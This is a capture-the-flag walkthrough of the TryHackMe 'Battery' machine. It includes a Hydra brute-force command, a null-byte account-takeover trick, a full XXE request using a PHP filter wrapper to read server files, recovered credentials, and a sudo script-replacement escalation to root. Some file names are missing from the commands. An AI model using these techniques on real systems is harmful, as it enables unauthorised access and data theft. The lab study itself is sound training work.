Electricity bill portal has been hacked many times in the past , so we have fired one of the employee from the security team , As a new recruit you need to work like a hacker to find the loop holes in the portal and gain root access to the server .

This is Battery from THM. It’s medium rated.


Just SSH and HTTP on their standard ports. The description pretty clearly shows it is the website we’re interested in.


I’m liking dirsearch:

root@kali:/opt/tryhackme/battery# cat /opt/dirsearch/reports/battery.thm/_21-01-15_20-41-52.txt
200 663B http://battery.thm:80/admin.php
302 908B http://battery.thm:80/dashboard.php -> REDIRECTS TO: admin.php
200 2KB http://battery.thm:80/forms.php
200 406B http://battery.thm:80/index.html
302 0B http://battery.thm:80/logout.php -> REDIRECTS TO: admin.php
200 715B http://battery.thm:80/register.php
200 17KB http://battery.thm:80/report
301 311B http://battery.thm:80/scripts -> REDIRECTS TO: http://battery.thm/scripts/
200 2KB http://battery.thm:80/scripts/
403 292B http://battery.thm:80/server-status/

So we have a webapp that we can register a user for and then login to. It is a payment portal that is partially implemented and it has a few functions that are for ‘admins’ only. Presumably this is where we need to get to.

The report page provides a binary; it’s easily disassembled in Ghidra and provides a list of users:

root@kali:/opt/tryhackme/battery# cat users

Unfortunately it doesn’t give us any (useful) passwords. I try a password attack on the login portal using Hydra:

hydra -L users -P /usr/share/wordlists/rockyou.txt battery.thm http-post-form "/admin.php:uname=^USER^&password=^PASS^&btn=Submit:S=302"

I don’t run this too long, but it’s getting nowhere. The binary does show that the user admin@bank.a has the ability to change passwords - maybe it’s this particular used we need. In the meantime I decide forms.php is probably our target. I can see the content in Burp Suite but can’t interact with it. The form submits an XML message, so perhaps the intended method is XXE injection. However, I still need to become admin to do anything useful.

I try messing about with adding a cookie with various flavours of admin, isadmin=True etc; nothing. I try sqlmap on various forms in the hope of dumping DB contents; nothing. I try to detect nosql injection; nada.

Next, I try registering a user using null bytes after the name:


This does successfully register a user, but it’s still not the admin we want. You can’t enter admin@bank.a%00 into the registration form, because it is limited to 12 characters - just enough for the name without the null bytes.

At this point, I put it aside and do other things.

Several days later

I check a hint - I was on the right track. We do want admin@bank.a%00 - you just have to do it via Burp Suite to bypass the (JS) length restriction. I was so close!

After that, we have access to acc.php and forms.php which we didn’t previously. No matter what is entered in acc.php you get a message about RCE detected and are logged out; this is a rabbit hole. Forms is what we want, and I’m sure it’s XXE.


It takes a bit to figure out, because it’s not the simplest form of XXE. But it’s Payload All The Things to the rescue, with a PHP Wrapper inside XXE technique. Possibly others worked too, but this is what I used. Initially I read /etc/passwd, then once I had the user names (cyber and yash) I looked for SSH keys; nope. Next I tried the code for the webapp, e.g.:

POST /forms.php HTTP/1.1
Host: battery.thm
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/xml
Content-Length: 237
Origin: http://battery.thm
Connection: close
Referer: http://battery.thm/forms.php
Cookie: PHPSESSID=1mn84batacq9jo1ar0188l3la5

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=../../../../../../../../var/www/html/acc.php"> ]>
<search>yee yee &xxe;</search>

This particular file contained hardcoded creds - score!

//MY CREDS :- cyber:super#secure&password!


Once we’re on as cyber, we find:

cyber@ubuntu:~$ sudo -l
Matching Defaults entries for cyber on ubuntu:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User cyber may run the following commands on ubuntu:
    (root) NOPASSWD: /usr/bin/python3 /home/cyber/

If we run this, it just prints out a message. We can’t read it, since it’s owned by root and we haven’t been given permission. But that doesn’t matter, because we can replace it:

cyber@ubuntu:~$ rm
rm: remove write-protected regular file ‘’? y
# make my own
root@ubuntu:~# cat 
import os
os.system("echo pwn")
cyber@ubuntu:~$ sudo -u root /usr/bin/python3 /home/cyber/
root@ubuntu:~# cd /root
root@ubuntu:~# id;hostname
uid=0(root) gid=0(root) groups=0(root)

And we are done.